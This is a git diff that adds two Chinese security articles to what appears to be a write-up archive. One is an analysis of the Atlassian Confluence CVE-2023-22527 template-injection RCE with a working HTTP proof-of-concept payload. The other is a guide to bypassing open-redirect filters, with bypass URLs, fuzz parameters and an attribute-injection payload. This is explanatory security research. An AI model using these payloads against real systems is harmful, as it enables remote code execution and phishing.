diff --git a/data.json b/data.json index dce1f388..18eef038 100644 --- a/data.json +++ b/data.json @@ -1489,5 +1489,7 @@ "https://mp.weixin.qq.com/s?__biz=MzkxNDM4OTM3OQ==&mid=2247505209&idx=2&sn=e3d879187e4870549404ef7580568b4f": "数据泄露:预防和应对", "https://mp.weixin.qq.com/s?__biz=MzkxNDM4OTM3OQ==&mid=2247505209&idx=4&sn=cb5748e0f25f778619769252e7da6d6d": "通过更智能的开发策略解决软件漏洞", "https://mp.weixin.qq.com/s?__biz=MzU0NDc0NTY3OQ==&mid=2247488080&idx=1&sn=079ba007618c1361f56bb95581f4630a": "aiohttp存在目录遍历漏洞(CVE-2024-23334)", - "https://mp.weixin.qq.com/s?__biz=MzkxNzUxMjU5OQ==&mid=2247485065&idx=1&sn=5e280ee6cbdb82feb3f6c18fc3a0d168": "泛微云桥e-Bridge SQL注入漏洞分析" + "https://mp.weixin.qq.com/s?__biz=MzkxNzUxMjU5OQ==&mid=2247485065&idx=1&sn=5e280ee6cbdb82feb3f6c18fc3a0d168": "泛微云桥e-Bridge SQL注入漏洞分析", + "https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247517683&idx=1&sn=dc0041bac00ff3ac944686a1bdc2c8d8": "浅析渗透实战中url跳转漏洞", + "https://mp.weixin.qq.com/s?__biz=Mzg2NTk4MTE1MQ==&mid=2247486340&idx=1&sn=f9621c441ecc8206dacbd038cc589a87": "Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)" } \ No newline at end of file diff --git a/doc/Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527).md b/doc/Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527).md new file mode 100644 index 00000000..07f00359 --- /dev/null +++ b/doc/Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527).md @@ -0,0 +1,217 @@ +# Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527) + TtTeam 2024-12-15 16:02 + +原文首发在:奇安信攻防社区 + +https://forum.butian.net/share/2741 + +作者:Le1a@threatbook校验:jweny@threatbook +# 漏洞描述 + +Atlassian Confluence是一款由Atlassian开发的企业团队协作和知识管理软件,提供了一个集中化的平台,用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。 + +攻击者可在无需登录的情况下,利用该漏洞构造恶意请求,导致远程代码执行。 +# 影响版本 +- 8.5.0 ≤ version ≤ 8.5.3 + +- 8.0.x,8.1.x,8.2.x,8.3.x,8.4.x + +# 漏洞成因 + +在Confluence中,.vm文件是使用Velocity模板语言创建的模板文件。Velocity是一个基于Java的模板引擎,它允许你使用简单的标记语言来引用Java对象和方法,从而动态生成HTML、XML或任何文本格式的内容。 + +处理.vm文件的主要类是ConfluenceVelocityServlet。这个Servlet负责接收和处理来自浏览器的请求,加载和解析.vm模板,执行其中的Velocity代码,然后将生成的HTML发送回浏览器。 + +这次的漏洞点位于:/template/aui/text-inline.vm文件,可以直接通过/template/aui/text-inline.vm访问 +``` +#set( $labelValue = $stack.findValue("getText('$parameters.label')") ) +#if( !$labelValue ) + #set( $labelValue = $parameters.label ) +#end + +#if (!$parameters.id) + #set( $parameters.id = $parameters.name) +#end + + + +#parse("/template/aui/text-include.vm") + +``` + +$stack.findValue("getText('$parameters.label')")意味着从请求中获取的label参数的值传入了$stack.findValue,由此可以判断这里存在模版注入 +# 代码分析 + +.vm文件由ConfluenceVelocityServlet处理 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYqA2GZcbKVR0J1kBNXqI53Ef2JlSnnvw717dmb1MJIO4uevGofsMFUg/640?wx_fmt=png&from=appmsg "") + +继续跟进 +``` +protected void doRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + try { + // 创建一个上下文对象,可能用于存储请求和响应的信息 + Context context = this.createContext(request, response); + // 设置HTTP响应的内容类型 + this.setContentType(request, response); + // 处理HTTP请求,返回一个模板对象 + Template template = this.handleRequest(request, response, context); + // 如果没有获取到模板,直接结束方法 + if (template == null) { + return; + } + // 如果获取到了模板,将模板和上下文合并,并将结果写入响应 + this.mergeTemplate(template, context, response); + } + // 其他代码... +} + +``` + +这里跟进handleRequest(),可以发现从URI中获取vm文件路径,传入getTemplate()来返回模版对象 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYSsTOdmfSZ2aYRvI2uf2HuKOs8Zroc4L4hIl1KntMvOoy8wOH1ZVQug/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYAGby14XtI15YOnyyGz8hnHricD8rVmrLkdJRKIAj4icfg599cQGMZukA/640?wx_fmt=png&from=appmsg "") + +然后传入mergeTemplate()函数处理 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYTG4nVCRJicMtlernKvOn0SdwBa5Weia4f2Bew34hicoWZM4hQzcHNibHSA/640?wx_fmt=png&from=appmsg "") +``` +protected void mergeTemplate(Template template, Context context, HttpServletResponse response) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException, IOException, UnsupportedEncodingException, Exception { + // 获取当前的PageContext对象 + PageContext oldPageContext = ServletActionContext.getPageContext(); + // 获取默认的JSP工厂 + JspFactory jspFactory = JspFactory.getDefaultFactory(); + // 从上下文中获取HttpServletRequest对象 + HttpServletRequest request = (HttpServletRequest)context.get("request"); + // 根据当前的Servlet、请求和响应创建一个新的PageContext对象 + PageContext pageContext = jspFactory.getPageContext(this, request, response, (String)null, true, 8192, true); + // 获取当前的ActionContext对象 + ActionContext actionContext = ActionContext.getContext(); + // 将新创建的PageContext对象放入ActionContext中 + actionContext.put("com.opensymphony.xwork2.dispatcher.PageContext", pageContext); + Writer writer = null; + try { + // 获取PageContext的输出流 + writer = pageContext.getOut(); + // 将模板和上下文合并,结果写入到输出流中 + template.merge(context, writer); + } + // 其他代码... + } + +``` + +这里创建新的PageContext,获取其输出流,准备进行模板合并和输出操作。 + +继续跟进template.merge() + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYXOkS364PI032axcM6fWibXb9Roz6A5ib3CaROdTPQtf8KmIC4BPd9eyA/640?wx_fmt=png&from=appmsg "") + +跟进到merge的重载函数 +``` +public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException, IOException { + if (this.errorCondition != null) { + throw this.errorCondition; + } else if (this.data == null) { + String msg = "Template.merge() failure. The document is null, most likely due to parsing error."; + throw new RuntimeException(msg); + } else { + InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context); + ica.setMacroLibraries(macroLibraries); + if (macroLibraries != null) { + for(int i = 0; i < macroLibraries.size(); ++i) { + try { + this.rsvc.getTemplate((String)macroLibraries.get(i)); + } catch (ResourceNotFoundException var13) { + this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i)); + throw var13; + } catch (ParseErrorException var14) { + this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + "."); + throw var14; + } catch (Exception var15) { + throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var15); + } + } + } + + try { + ica.pushCurrentTemplateName(this.name); + ica.setCurrentResource(this); + ((SimpleNode)this.data).render(ica, writer); + } finally { + ica.popCurrentTemplateName(); + ica.setCurrentResource((Resource)null); + } + + } + } + +``` + +由于传入的macroLibraries为空,所以直接执行try逻辑 +1. 调用 ica.pushCurrentTemplateName(this.name); 将当前模板的名称压入到 ica 的模板名堆栈中。这是为了在嵌套模板的情况下能够追踪到当前正在处理的模板名称。 + +1. 调用 ica.setCurrentResource(this); 将当前模板对象设置为 ica 的当前资源。这是为了让 ica 知道当前正在处理的模板资源。 + +1. 最后,通过调用 ((SimpleNode)this.data).render(ica, writer); 进行模板渲染 + +省略中间的部分渲染过程,跟进到ASTReference#execute() + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYIScMmAWp5R18CnT5OJibcq3WdPJSmMBrtVhCclFmgic6YWmM5qCv5dUA/640?wx_fmt=png&from=appmsg "") + +这里从上下文中获取OgnlValueStack,继续跟进 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYn1K0NbCWNk5CibK4NBbkvBiaEQ7dY7vtk3lOTAImdoARq8icKDJWnJ0Fg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WY4ZLGWBknfLuibqRxLXibNbOBCiaE44AuRJs85G0n7xM5yzccMiaB1fHYUw/640?wx_fmt=png&from=appmsg "") + +这里从请求中获取到参数,然后通过Object obj = method.invoke(o, params);执行,继续跟进 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYWjtXrzDibB3RZgAOiag3dPcqvb97LUlCVS9vp8mPlkXvS0T8bBaYLNyA/640?wx_fmt=png&from=appmsg "") + +经过几层invoke调用后,来到了最终vm文件模版的位置——OgnlValueStack.findValue() + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYphha4HY0DkjjL29qtaVlv9ydAictiacZ5wls0Gib1lfgwLyVO9cppkGvA/640?wx_fmt=png&from=appmsg "") + +随后,传给label参数的OGNL表达式语句被执行 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYKayI5jjZmB9oGDy6IxZoI8NOLvF8RKEgcQAMNKGaN8aNlzIrLXWXzw/640?wx_fmt=png&from=appmsg "") +# 如何构造RCE + +由这篇文章可得知:https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io#strutsutil:~:text=(PageContextImpl)-,For%20Velocity%3A,-.KEY_velocity.struts2.context + +对于Velocity模版引擎,可以使用如下方法: +- .KEY_velocity.struts2.context -> (StrutsVelocityContext) + +- ognl (org.apache.struts2.views.jsp.ui.OgnlTool) + +- struts (org.apache.struts2.views.velocity.result.VelocityStrutsUtils) + +org.apache.struts2.views.jsp.ui.OgnlTool 类在没有 OgnlContext 的情况下调用了 Ognl.getValue()。需要注意的是,该类属于 OGNL 库,而不是 Struts 的一部分。因此,这个"findValue"调用在 Struts 的沙箱限制之外运行。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYQYYPQNP3foOO1ibJqYcibd46ibARmv0t8YpdeSI08kr4Oo1fY2ETI8wZA/640?wx_fmt=png&from=appmsg "") +# 复现过程 +1. 网站首页如下图: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYQrndaRMgIHVaQP6MUqwxFBmPvol56W40XQdS6y6RHsibG1qOekYWCMA/640?wx_fmt=png&from=appmsg "") +1. 使用如下POC进行漏洞复现 + +``` +POST /template/aui/text-inline.vm HTTP/1.1 +Host: 127.0.0.1:8090 +Content-Type: application/x-www-form-urlencoded + +label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache. struts2.ServletActionContext@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"id"})) +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3pJyVE5b9mhhmpjA43q9WYf0sRIibxvMUzPAEa68psWFvRa57L8B6cpWIgegUiaQtkoEwcSYk629GA/640?wx_fmt=png&from=appmsg "") + + diff --git a/doc/浅析渗透实战中url跳转漏洞.md b/doc/浅析渗透实战中url跳转漏洞.md new file mode 100644 index 00000000..3b2fbe9f --- /dev/null +++ b/doc/浅析渗透实战中url跳转漏洞.md @@ -0,0 +1,218 @@ +# 浅析渗透实战中url跳转漏洞 + 船山信安 2024-12-15 17:00 + +# 前言 + +最近在一些厂商项目中开始接触到一些url任意重定向,虽然是低危,奖金较低,(虽然国外已经是几百$)但是一旦找到突破点,几乎整个站的url跳转都可以bypass,一个厂商所有点的url跳转加起来奖金也比较可观,所以将自己挖掘过程中一点点心得分享一下。 +# 简介 + +先走个流程说些废话,url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常见的跳转在登陆口,支付口,也就是一旦登陆将会跳转任意自己构造的网站,如果设置成自己的url则会造成钓鱼,浅析危害。 +``` +




username:

password:
+``` + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzwmnFiaPb5NAhQJvPkSZXIgIEDiaa8c9chBjxLKD3vw8xnwQia3gOXIYztA/640?wx_fmt=png&from=appmsg "") + +最简单的代码实例,也是很贴近真实渗透的案例,登陆跳转,后面通常是加上自己业务的url,一旦存在url任意重定向,发送给用户,会毫不疑问的输入账号密码登陆,然后跳转到我们想要他跳转的url,比如: + +我们发送给用户这样的url, +``` +http://127.0.0.1/url.php?username=&password=&redict=http://127.0.0.1/fish.php +``` + +用户正常输入账号密码登陆点击登陆。跳转到构造的页面。(我可真是个钓鱼鬼才) + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzwpXziafXq2UNWq2FibquHCjAaEDHKP5SLeSwEmThAHFAFkBIzGicvWN7pA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzwNpZTrPP7Q2vBLicrCWIibGRRBgDd8ZAMnmQbFOlKL9CHCzkeCHNmPbXA/640?wx_fmt=png&from=appmsg "") + +当然钓鱼界面可以伪造一切你想获取的信息。 +# bypass + +其实bypass没什么新的套路(我暂时没),都是网上有的,师傅们可以百度到的,我整理一下,利用上面的代码简单测试,都是本地测试通过的。www.xiaozhupeiqi.com是服务器要求跳转的url。 + +1.最常用的一条:@绕过。 +``` +http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.xiaozhupeiqi.com@www.baidu.com //ssrf也可用 +``` + +2.绕过一些匹配特定字符。 + +?绕过 +``` +http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com?www.xiaozhupeiqi.com +``` + +#绕过 +``` +http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com#www.xiaozhupeiqi.com +``` + +3.斜杠/绕过 +``` +http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com/www.xiaozhupeiqi.com +``` + +或者反斜线 +``` +http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com\www.xiaozhupeiqi.com +``` + +4.白名单匹配绕过 +``` +比如匹配规则是必须跳转,xiaozhupeiqi.com 域名下,?#等都不行的时候,如果匹配规则为xiaozhupeiqi.com,可以尝试百度inurl:xiaozhupeiqi.com的域名,比如 aaaxiaozhupeiqi.com,这样同样可以绕过。接下来实战中会用到, +``` + +5.xip.io绕过 +``` +http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.xiaozhupeiqi.com.220.181.57.217.xip.io +``` + +会跳转到百度 + +6.理想化方法 +``` +如果有机会在自己的页面设置url跳转,比如目标网站的bbs论坛自己的资料页面设置url跳转,既然是服务器的网站,那么url是不会限制的,可以用一个漏洞去构造另一个漏洞。 +``` + +7.白名单网站可信 +``` +如果url跳转点信任百度url,google url或者其他,则可以多次跳转达到自己的恶意界面。 +``` + +8.协议绕过 +``` +http与https协议转换尝试,或者省略 http://127.0.0.1/url.php?username=1&password=1&password=1&redict=//www.xiaozhupeiqi.com@www.baidu.com http://127.0.0.1/url.php?username=1&password=1&password=1&redict=////www.xiaozhupeiqi.com@www.baidu.com//多斜线 +``` + +9.xss跳转 +``` +这种就没啥说的了,就是XSS造成的跳转,下面也有案例,在有些情况下XSS只能造成跳转的危害。 +``` +# fuzz几个参数 +``` +redirect url redirectUrl callback return_url toUrl ReturnUrl fromUrl redUrl request redirect_to redirect_url jump jump_to target to goto link linkto domain oauth_callback +``` +# 实战几个案例 + +1.最常见的登陆跳转 + +登陆跳转我认为是最常见的跳转类型,几乎百分之七八十网站都会url里设置跳转,所以在登陆的时候建议多观察url参数,通常都会存在跳转至于存不存在漏洞需要自己测试。 + +上面的类型四, + +漏洞url : +``` +https://xx.xxx.com/User/Login?redirect=http://xxx.com/ +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzwNP3icGKpBqOe3FZu4WMSYuGQstoP6Y1CTFRNpO3ldtjMW8CCa4NFX6Q/640?wx_fmt=png&from=appmsg "") + +为登陆页面,如果登陆成功那么跳转 +http://xxx.com/,但是所有方式都无法绕过,但是发现可以跳转aaxxx.com,也就是匹配规则为必须为xxx.com的网址,但是aaxxx.com同样也可以。 + +方法: + +百度 inurl:xxx.com,即可百度到很多域名包含xxx.com的url,即可实现跳转,不小心百度到一个黄域,正好证明危害登陆跳XX网。 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzw6IuRtxr6JiaicOvdb1jHMsJLhMkWu8arvoFU1b5HUoCh6nJRQPRDB4RA/640?wx_fmt=png&from=appmsg "") + +还有一些花里胡哨的base64加码了的跳转,解码就是需要跳转的url,其实本质都一样, + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzwVCla8hCk9Esx3OnZ75q3lbOaNGUquNDRCqryJ8WLXYfI91GOYnR6QQ/640?wx_fmt=png&from=appmsg "") + +2.@绕过 + +@是最常见的一种绕过。 + +漏洞url +``` +https://xx.xxx.com/user/goToLogin?toUrl=https://xx.xxx.com@www.baidu.com +``` + +这种跳转在chrome浏览器可以直接跳转,但是在火狐会弹框询问,但是并不影响它的危害。 + +火狐下@的跳转。 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzw0qxXuazbpUfnHn44tG1wrcPXwjxwCgmBwmgvzkfbHiadu6swicDJ4WJg/640?wx_fmt=png&from=appmsg "") + +还有一些是跳转目录的, + +如: +``` +https://xx.xxx.com.cn/?redirect=/user/info.php +``` + +修改为 +``` +https://xx.xxx.com.cn/?redirect=@www.baidu.com +``` + +这种情况通常@也可以跳转,大胆的去尝试 + +3.充值接口跳转 + +通常充值接口都会进行跳转,如充值成功会跳转到充值前访问的页面,因为充值接口需要充值才能知道到底存不存在漏洞,所以测试的人相对少一些,大胆去尝试,单车变摩托,充值完成后还可以提现其实并不影响,不嫌麻烦就多测测。这些都是跳转成功的案例。 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzwpOJARWUw2afOy9SJsW90g46wuwBxeH1WYxePUrsvSIMQzdKJiaicjPtw/640?wx_fmt=png&from=appmsg "") + +4.xss造成的url跳转 + +在一次渗透测试中,碰到一个站点,对<>"这些字符都是进行了过滤。且没有其他姿势配合,基本上告别了XSS等漏洞。如下 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzwxZBJiaNNibux6Q6J7xY7gKDAEOlZGzG4XnIhFE4w3icavtWGiaYeueHVMQ/640?wx_fmt=png&from=appmsg "") + +可以发现我输入了xsstest<>",但是<>被直接删除过滤掉了,但是发现双引号还在,先看下源码是怎么处理的。 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzwYZJXc7KhwTqgT6BEmgypg6OFlx1ZEtz7L1NwSgMwhvZeBZnzdyjS9A/640?wx_fmt=png&from=appmsg "") + +乍一看双引号也被转义了,输入的xsstest 搜索有十七处,大部分被实体化了,还有一部分双引号被url编码了,但是此时突然发现我箭头指的一处并未对双引号进行转义或者过滤,虽然<>已经完全被过滤掉了。 + +此时构造meta的url跳转。 + +payload: +``` +http://xxx.com/search?w=1;url=http://www.baidu.com" http-equiv="refresh&fsearch=yes +``` + +其中输入 +``` +1;url=http://www.baidu.com" http-equiv="refresh +``` + +最终闭合掉得到的源码为。 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzwhz3XwjgugxiciacdkLic6v2AdwHvm4pJQxnxkiamX9icKwUwHuYicoA0btRQ/640?wx_fmt=png&from=appmsg "") + +最终点击payload会跳转百度页面,其实这个严格意义上来说算XSS造成的跳转,构造应该也可以XSS。 + +5.业务完成后跳转 + +这可以归结为一类跳转,比如修改密码,修改完成后跳转登陆页面,绑定银行卡,绑定成功后返回银行卡充值等页面,或者说给定一个链接办理VIP,但是你需要认证身份才能访问这个业务,这个时候通常会给定一个链接,认证之后跳转到刚刚要办理VIP的页面。 + +通常这个点都会存在跳转至于存不存在任意跳转,师傅们自测,有些跳转业务不好码就不发了。 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzwrnrGnXpsibtsw6nZ1D3ngyBMnNDs95bfMSkg0icMRuAiaWH1tWdvHPCIQ/640?wx_fmt=png&from=appmsg "") + +6.用户交互 + +在一些用户交互页面也会出现跳转,如请填写对客服评价,评价成功跳转主页,填写问卷,等等业务,注意观察url。 + +问卷调查提交跳转。 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzw1y5RS7vJ91e0qrdvNvME2YeFhTQU4x6FNFAHqLXBL0NeoeVHfb2boA/640?wx_fmt=png&from=appmsg "") + +7.漏洞构造漏洞 + +一次渗透测试中碰到一个任意文件上传漏洞,但是不幸的是没办法解析任何后端语言,没办法进一步利用,只能前端造成一点危害,但是存放文件的服务器一般比较偏远,此时可以利用我们任意文件上传的html,然后来进一步利用,绕过本来无法绕过的url跳转漏洞。因为存放文件的域名肯定是符合网站跳转范围。 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzwhkQCy1gU8QVOpKke0zkv7F93OXaV9ADSmfQOr4trltwhxXLT9ANrUA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNETZINR2lxmkzGopmMDSzwUWUbLiaJkmNPnqibiahmdMPnvmbModgxRB5HGa2N1hk44ibFwYWicma69ow/640?wx_fmt=png&from=appmsg "") + +最终构成url跳转漏洞,当然可以获取cookie造成更多的危害,本文仅讨论url跳转。 + +来源:https://xz.aliyun.com/  感谢【 +小猪佩琪 +】 +